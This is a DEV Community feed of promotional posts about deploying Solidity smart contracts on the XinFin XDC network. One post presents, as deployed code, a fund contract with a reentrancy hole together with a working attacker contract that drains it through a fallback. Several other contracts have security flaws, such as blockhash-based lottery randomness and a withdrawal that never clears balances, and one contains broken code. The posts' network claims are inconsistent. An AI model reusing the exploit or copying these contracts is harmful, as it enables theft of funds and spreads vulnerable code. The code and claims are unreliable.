DEV Community: MahaLakshmi Perumal

Staking on TradeFinex: A Smart Way of using XDC

MahaLakshmi Perumal — Sat, 05 Dec 2020 04:43:18 +0000

The distinguishing marks of TradeFinex is that it coherently and deterministically links events on the #blockchain to those in the real world, thus ensuring a heightened reliability and stability vector.
Staking on #TradeFinex: A Smart Way of Using $XDC: https://thecurrencyanalytics.com/21967/staking-on-tradefinex-a-smart-way-of-using-xdc

Build your Dapps on XinFin Network.

MahaLakshmi Perumal — Fri, 04 Dec 2020 09:58:48 +0000

XinFin is friendly to mother earth as well as well as people sending, receiving and storing value on the platform. This can be attributed to Proof of Stake (PoS) mining.
Read: https://medium.com/@social_75814/xinfin-xdc-the-green-coin-on-the-hybrid-blockchain-that-is-poised-to-disrupt-green-energy-and-62ea1b69ed57

The Environmental Impact: Cryptocurrency Mining

MahaLakshmi Perumal — Thu, 03 Dec 2020 06:14:33 +0000

Both #crypto and #blockchain offer promising use cases to finance, supply chain, internet security, cloud storage, and a number of other sectors.
The Environmental Impact: Cryptocurrency Mining vs. XDPoS Consensus: https://vinn9686.medium.com/the-environmental-impact-cryptocurrency-mining-vs-xdpos-consensus-dbbad22fde04

Deployed a smartcontract on The fastest growing Network XinFin.

MahaLakshmi Perumal — Wed, 02 Dec 2020 07:30:33 +0000

Deployed a #smartcontract on XinFin XDC Network, which is growing faster in all aspects of community building, Adoption, utilities. The highlights of the network are: 1) 2 TPS, 2)Green Coin, 3)Hybrid environment, 4)usecases

Here's my today's deployed Code:
pragma solidity ^0.4.18; contract DaoFund{ mapping(address=>uint) balanceOf; event WithdrawBalance(string message,uint gas); function getUserBalance(address user) external view returns(uint) { return balanceOf[user]; } function addToBalance() external payable { balanceOf[msg.sender] = balanceOf[msg.sender] + msg.value; } function withdrawBalance() external { uint amountToWithdraw = balanceOf[msg.sender]; WithdrawBalance("withdrawBalance",msg.gas); if (msg.sender.call.value(amountToWithdraw)() == false) { revert(); } balanceOf[msg.sender] = 0; } } contract DaoFundAttacker{ address fundAddress; int goalAmount; event WithdrawBalance(string message,uint gas); function DaoFundAttacker(address _fundAddress) public { fundAddress=_fundAddress; } function() public payable { goalAmount -= int(msg.value); if( goalAmount > 0 ) { if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))) { WithdrawBalance("Succeeded in fallback",msg.gas); } else WithdrawBalance("Failed in fallback",msg.gas); } else { WithdrawBalance("All the goal amount withdraweAll the goal amount withdrawed.",msg.gas); } } function deposit() public payable { if(fundAddress.call.value(msg.value).gas(20764)(bytes4(keccak256("addToBalance()"))) ==false) { revert(); } } function withdraw(uint _goalAmount) public { goalAmount = int(_goalAmount * 1 ether); if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))==false ) { WithdrawBalance("Failed in withdraw",msg.gas); revert(); } else WithdrawBalance("Succeeded in withdraw",msg.gas); } }

GameManager SmartContract deployed on XinFin XDC Network.

MahaLakshmi Perumal — Tue, 01 Dec 2020 04:43:50 +0000

Deployed #solidity #smartcontract for gamemanager on the energy saving and cost efficient XinFin XDC Hybrid Blockchain Network.

Use the code:
pragma solidity ^0.4.18; contract GameManager { modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyServer { require(msg.sender == server); _; } event GameJoined(uint indexed rounds, address indexed user, uint playerPos); event GameStarted(uint indexed rounds, address byWhom, uint numPlayers, uint timestamp); event GameFinalized(uint indexed rounds, address user, uint numPlayers); event Voted(uint indexed rounds, address user, bytes32 currStateHash, bytes32 newStateHash, uint currPlayer, uint numVoted); event ServerNeeded(); uint public currPlayerIndex; mapping (uint => address) public userPosition; mapping (address => bool) public usersInGame; mapping (address => uint) public balances; mapping (address => bool) public hasVoted; address public owner; bytes32 public currStateHash; uint public numStateVerified; bool public gameInProgress; bool public callTheServer; bool public playersVoted; uint public creationTime; address public server; uint public submitStateStartTime; uint public numGamesPlayed; uint public rounds; uint VOTE_PERIOD = 5 minutes; uint32 ONE_PLAY = 1000; uint FEE = 200; uint MIN_PLAYERS = 5; uint MAX_PLAYERS = 25; uint PRICE_TO_ENTER = 10 ** 15; function GameManager() public { owner = msg.sender; gameInProgress = false; playersVoted = false; callTheServer = false; numStateVerified = 0; creationTime = now; currPlayerIndex = 0; rounds = 0; } function joinGame() public payable { require(msg.value >= PRICE_TO_ENTER); // A user can't enter a game while the game is ongoing require(gameInProgress == false); // A user can't enter a game twice with the same address require(usersInGame[msg.sender] == false); // We can't have more than 25 players? require(currPlayerIndex <= 25); // remember which position in the array did the player get userPosition[currPlayerIndex] = msg.sender; usersInGame[msg.sender] = true; // Update the current position in the array currPlayerIndex++; // trigger game start if we reached the required num. of players if (currPlayerIndex >= MIN_PLAYERS) { gameInProgress = true; GameStarted(rounds, msg.sender, currPlayerIndex, now); } GameJoined(rounds, msg.sender, currPlayerIndex); } // What happens if some of the players don't vote?? function gameEnds(uint32[] state, uint position) public { // The msg.sender is sending us the position where he is require(userPosition[position] == msg.sender); // The person who votes, must be one of the players require(usersInGame[msg.sender] == true); // TODO: figure out how to reset this check on game end // A player can vote only once //require(hasVoted[msg.sender] == false); bytes32 stateHash = keccak256(state); Voted(rounds, msg.sender, currStateHash, stateHash, currPlayerIndex, numStateVerified); // we remove the user from game, so he can join in the next one usersInGame[msg.sender] = false; if (currStateHash == 0x0) { currStateHash = stateHash; submitStateStartTime = now; numStateVerified++; return; } if (currStateHash == stateHash) { numStateVerified++; hasVoted[msg.sender] = true; // The last one if (numStateVerified >= currPlayerIndex) { playersVoted = true; submitState(state); } } else { // Bad stuff somone is cheating, server will punish the cheater and give the money to the poor callTheServer = true; ServerNeeded(); } } // Call this if after n blocks not all players have voted // This will be callabale by anyone and we'll reward the player for the call function finalizeGame(uint32[] state) public { require(now >= (submitStateStartTime + VOTE_PERIOD)); // TODO: check for rounding error && possible attacks // If majority of the verified has votes take that as true if (numStateVerified > (currPlayerIndex / 2)) { bytes32 stateHash = keccak256(state); // A user gave a wrong score if(stateHash != currStateHash) { return; } submitState(state); // reward the player for calling this function // gameToken.transfer(msg.sender, REWARD_FOR_FINALIZE); } else { // who you gonna call when a cheater appears? callTheServer = true; ServerNeeded(); } } // Somebody tried the cheat the server will punish the bad // and reward the good function judgment(uint32[] state) public onlyServer { require(callTheServer == true); submitState(state); } function submitState(uint32[] state) internal { require(playersVoted == true); for(uint i = 0; i < currPlayerIndex; ++i) { balances[userPosition[i]] += state[i]; usersInGame[userPosition[i]] = false; } numGamesPlayed++; GameFinalized(rounds, msg.sender, currPlayerIndex); newGameSession(); } function withdrawWins() public { require(balances[msg.sender] > 0); msg.sender.transfer(balances[msg.sender]); } function newGameSession() internal { gameInProgress = false; playersVoted = false; callTheServer = false; numStateVerified = 0; currPlayerIndex = 0; currStateHash = 0x0; rounds++; } function setServer(address _server) public onlyOwner { server = _server; }

Stalk datastruct smartcontract deployed on XinFin Network.

MahaLakshmi Perumal — Mon, 30 Nov 2020 09:22:56 +0000

Lots of #smartcontracts available around but datastructure has special importance as it is used widely. Today I have deployed a stalk datastructure #smartcontract on XinFin #XDC Network under injected web3 environment.

Check my code:
pragma solidity ^0.4.11; contract Stack { event Popped(bytes32 top, uint number, string name); event Pushed(bytes32 top, uint number, string name); uint public height = 0; bytes32 public top; struct Object { bytes32 next; uint number; string name; } mapping(bytes32 => Object) public objects; function Stack() public { } function push(uint _number,string _name) public returns (bool) { Object memory newObj = Object(top, _number, _name); bytes32 id = keccak256(newObj.number, newObj.name, now, height); objects[id] = newObj; top = id; height = height + 1; Pushed(top, newObj.number, newObj.name); } function pop() public returns (bool) { require(height > 0); bytes32 _top = top; top = objects[top].next; Popped(top, objects[_top].number, objects[_top].name); delete objects[_top]; } }

Shorten your link with my #Smartcontract.

MahaLakshmi Perumal — Sat, 28 Nov 2020 08:02:00 +0000

Shorten the link #smartcontract has been deployed on #XinFin Network and the transaction fees to deploy this smartcontract was 0.00007 XDC. Let me know the transaction fees for deploying the same smartcontract on your #Network.

Here the #smartcontract:
pragma solidity ^0.4.24; contract e0x { event LinkVisited(string url, uint linkId); event LinkAdded(uint linkId, string url); struct LinkTemplate { address userAddress; string url; } uint lastLinkId; mapping (uint => LinkTemplate) public linkMapping; constructor() public { lastLinkId = 0; } function createNewLink(string url) public returns (uint) { lastLinkId++; linkMapping[lastLinkId] = LinkTemplate(msg.sender, url); emit LinkAdded(lastLinkId, url); return lastLinkId; } modifier linkExists(uint linkId) { //link with the given hash does not exist if(linkMapping[linkId].userAddress == 0x0000000000000000000000000000000000000000) { revert(); } _; } function getLink(uint linkId) linkExists(linkId) public constant returns( address, string ) { //emit LinkVisited(linkId, link.url); LinkTemplate memory link = linkMapping[linkId]; return( link.userAddress, link.url ); } }

Apply for Blockdegree Scholarship.

MahaLakshmi Perumal — Fri, 27 Nov 2020 14:02:11 +0000

Students or Blockchain enthusiast interested to learn blockchain can utilize this opportunity by applying for scholarships on Blockdegree. Learning is a never ending process, get started and lets build interesting #DApps together.
Apply here: https://docs.google.com/forms/d/1Fp_BfX8suyo1-HbceFCkiIeHFcJw3ffSeiI72oVj-hA

XinFin is growing more popular in Blockchain.

MahaLakshmi Perumal — Thu, 26 Nov 2020 07:31:45 +0000

The developers are spending time on #smartcontracts and analysing the #XinFin #XDC Network.
I can give you a short vision of the network.
Transaction Speed: 2000TPS
Block Time: 2seconds
Transaction Fees: 0.000007 usd
Check my latest #smartcontract:
`pragma solidity ^0.4.24;
pragma experimental ABIEncoderV2;
interface Itontine{
function join() external payable returns(bool);
function ping() external returns (bool);
function eliminate(address a) external returns(bool);
function claimReward() external returns (bool);
event NewActivePlayerEv(address _address ,uint time);
event eliminatedPlayerEv(address _addrss);
}
contract Cplayer{
address public admin;
constructor() public {
admin=msg.sender;
}
struct player{
string name;
uint PhoneNumber;
address Paddress;
uint id;
}
mapping(address=>player) public players;
function AddPlayer(string _name, uint256 _phonenumber) public returns (bool){
players[msg.sender].name=_name;
players[msg.sender].Paddress=msg.sender;
players[msg.sender].PhoneNumber=_phonenumber;
return true;
}
modifier onlyadmin(){
require (msg.sender==admin);
_;
}
function RemovePlayer(address _address) public onlyadmin returns (bool) {
delete players[_address];
return true;
}
function EditPlayer(string _name, uint256 _phonenumber, address _address,uint256 _id) public returns (bool){
players[msg.sender].name=_name;
players[msg.sender].PhoneNumber=_phonenumber;
players[msg.sender].Paddress =_address;
players[msg.sender].id =_id;
return true;
}
function EditPlayer(address _address,uint256 _id)public returns (bool){
players[_address].id =_id;
return true;
}
function findplayer(address _address) public view returns (string,uint,address){
return ( players[_address].name, players[_address].PhoneNumber, players[_address].Paddress);
}
function exist(address _address) public view returns (bool){
return (players[_address].Paddress!=0x00);
}
function getplayer(address _adress) public view returns (player){
return players[_adress];
}
}
/*********************************************
Ctontine Contract
*
***************************************/
contract Ctontine is Itontine {
mapping (address => uint256 ) public Tpension; // You can store structs as the values of your mapping, not as key.
Cplayer.player[] public active_players;
Cplayer.player[] public eliminated_players;
mapping(address=>uint) public ping_time;
uint256 public Lindex;
Cplayer Tplayer;
constructor(address _CplayerAddress) public {
Tplayer= Cplayer(_CplayerAddress);
}
function join() public payable returns(bool){
require(Tplayer.exist(msg.sender),"player doesn't exist");
require(msg.value>=1 ether && Tpension[msg.sender]==0,"send higher pension");
Tpension[msg.sender]=msg.value;
Tplayer.EditPlayer(msg.sender,active_players.length);
active_players.push(Tplayer.getplayer(msg.sender));
Lindex +=(active_players.length-1);
ping_time[msg.sender]=now;
emit NewActivePlayerEv(msg.sender,now);
return true;
}
function ping() external returns(bool) {
ping_time[msg.sender]=now;
return true;
}
function eliminate(address PlayerAddress) external returns(bool){
require(now> ping_time[PlayerAddress] +1 days );
delete Tpension[PlayerAddress];
delete active_players[Tplayer.getplayer(PlayerAddress).id];
Lindex -= Tplayer.getplayer(PlayerAddress).id;
eliminated_players.push(Tplayer.getplayer(PlayerAddress));
Tplayer.EditPlayer(msg.sender,0);
share_pension(PlayerAddress);
emit eliminatedPlayerEv(PlayerAddress);
return true;
}
function share_pension(address user)internal returns (bool){
uint256 remainingPlayers=remaining_players();
for(uint i=0; i< active_players.length;i++){
if (active_players[i].Paddress!=0x00)
Tpension[active_players[i].Paddress]=calcul(Tpension[user],remainingPlayers,18);
}
return true;
}
function calcul(uint a, uint b, uint precision) public pure returns ( uint) {
require (b!=0);
return a(10(precision))/b;
}
function remaining_players() public view returns (uint256){
return (active_players.length-eliminated_players.length);
}
function claimReward() external returns (bool){
require(remaining_players()==1); active_players[Lindex].Paddress.transfer(address(this).balance);
return true;
}
}

Deployed a Powerball smartcontract on XinFin XDC Network.

MahaLakshmi Perumal — Wed, 25 Nov 2020 13:04:21 +0000

Deployed a powerball smartcontract on XinFin Network token by paying 0.0000007 usd transaction fees.

here my today's code:
pragma solidity ^0.4.18; /// @title Powerball contract contract Powerball { struct Round { uint endTime; uint drawBlock; uint[6] winningNumbers; mapping(address => uint[6][]) tickets; } uint public constant TICKET_PRICE = 2e15; uint public constant MAX_NUMBER = 69; uint public constant MAX_POWERBALL_NUMBER = 26; uint public constant ROUND_LENGTH = 3 days; uint public round; mapping(uint => Round) public rounds; //constructor Powerball () public { // round = 1; // rounds[round].endTime = now + ROUND_LENGTH; //} function buy (uint[6][] numbers) payable public { require(numbers.length * TICKET_PRICE == msg.value); for (uint i=0; i < numbers.length; i++) { for (uint j=0; j < 6; j++) require(numbers[i][j] > 0); for (j=0; j < 5; j++) require(numbers[i][j] <= MAX_NUMBER); require(numbers[i][5] <= MAX_POWERBALL_NUMBER); } // check for round expiry if (now > rounds[round].endTime) { rounds[round].drawBlock = block.number + 5; round += 1; rounds[round].endTime = now + ROUND_LENGTH; } for (i=0; i < numbers.length; i++) rounds[round].tickets[msg.sender].push(numbers[i]); } function drawNumbers (uint _round) public { uint drawBlock = rounds[_round].drawBlock; require(now > rounds[_round].endTime); require(block.number >= drawBlock); require(rounds[_round].winningNumbers[0] == 0); for (uint i=0; i < 5; i++) { bytes32 rand = keccak256(block.blockhash(drawBlock), i); uint numberDraw = uint(rand) % MAX_NUMBER + 1; rounds[_round].winningNumbers[i] = numberDraw; } rand = keccak256(block.blockhash(drawBlock), uint(5)); uint powerballDraw = uint(rand) % MAX_POWERBALL_NUMBER + 1; rounds[_round].winningNumbers[5] = powerballDraw; } function claim (uint _round) public { require(rounds[_round].tickets[msg.sender].length > 0); require(rounds[_round].winningNumbers[0] != 0); uint[6][] storage myNumbers = rounds[_round].tickets[msg.sender]; uint[6] storage winningNumbers = rounds[_round].winningNumbers; uint payout = 0; for (uint i=0; i < myNumbers.length; i++) { uint numberMatches = 0; for (uint j=0; j < 5; j++) { for (uint k=0; k < 5; k++) { if (myNumbers[i][j] == winningNumbers[k]) numberMatches += 1; } } bool powerballMatches = (myNumbers[i][5] == winningNumbers[5]); // win conditions if (numberMatches == 5 && powerballMatches) { payout = this.balance; break; } else if (numberMatches == 5) payout += 1000 ether; else if (numberMatches == 4 && powerballMatches) payout += 50 ether; else if (numberMatches == 4) payout += 1e17; // .1 ether else if (numberMatches == 3 && powerballMatches) payout += 1e17; // .1 ether else if (numberMatches == 3) payout += 7e15; // .007 ether else if (numberMatches == 2 && powerballMatches) payout += 7e15; // .007 ether else if (powerballMatches) payout += 4e15; // .004 ether } msg.sender.transfer(payout); delete rounds[_round].tickets[msg.sender]; } function ticketsFor(uint _round, address user) public view returns (uint[6][] tickets) { return rounds[_round].tickets[user]; } function winningNumbersFor(uint _round) public view returns (uint[6] winningNumbers) { return rounds[_round].winningNumbers; } }

Rent house with my smartcontract on XDC Network

MahaLakshmi Perumal — Tue, 24 Nov 2020 05:17:55 +0000

The development environment used is XinFin Remix. The program is compiled through this platform and released into a contract. In addition, XinPay is used to create a wallet for the actual test of this experiment.

At the beginning of the program, the items of the contract renewal record are announced, including the address of the tenant, the address of the borrower, the rental time, the price per unit time, whether to rent other items, and whether to purchase insurance.

Next is to deploy the current menu information, and first set the data and information to be recorded as initial values.

The next step is to record the various data information entered by the user and determine whether the remaining balance of the borrower is sufficient to pay the fee. If the borrower has too little balance, it will refuse to rent.

Finally, after the end of the lease, the tenant can withdraw the rent. If the non-tenant account cannot be withdrawn, only the tenant can withdraw the rent.

Deployed a pingpong Game on XinFin XDC Network.

MahaLakshmi Perumal — Mon, 23 Nov 2020 09:26:25 +0000

Deployed a PingPong game on XinFin XDC Network. Working with games is more interesting then playing that game :P

Check the code here:
pragma solidity >=0.4.25 <0.6.0; contract Starter { enum StateType { GameProvisioned, Pingponging, GameFinished} StateType public State; string public PingPongGameName; address public GameStarter; Player public GamePlayer; int public PingPongTimes; constructor (string memory gameName) public{ PingPongGameName = gameName; GameStarter = msg.sender; GamePlayer = new Player(PingPongGameName); State = StateType.GameProvisioned; } function StartPingPong(int pingPongTimes) public { PingPongTimes = pingPongTimes; State = StateType.Pingponging; GamePlayer.Ping(pingPongTimes); } function Pong(int currentPingPongTimes) public { int remainingPingPongTimes = currentPingPongTimes - 1; if(remainingPingPongTimes > 0) { State = StateType.Pingponging; GamePlayer.Ping(remainingPingPongTimes); } else { State = StateType.GameFinished; GamePlayer.FinishGame(); } } function FinishGame() public { State = StateType.GameFinished; } } contract Player { enum StateType {PingpongPlayerCreated, PingPonging, GameFinished} StateType public State; address public GameStarter; string public PingPongGameName; constructor (string memory pingPongGameName) public { GameStarter = msg.sender; PingPongGameName = pingPongGameName; State = StateType.PingpongPlayerCreated; } function Ping(int currentPingPongTimes) public { int remainingPingPongTimes = currentPingPongTimes - 1; Starter starter = Starter(msg.sender); if(remainingPingPongTimes > 0) { State = StateType.PingPonging; starter.Pong(remainingPingPongTimes); } else { State = StateType.GameFinished; starter.FinishGame(); } } function FinishGame() public { State = StateType.GameFinished; } }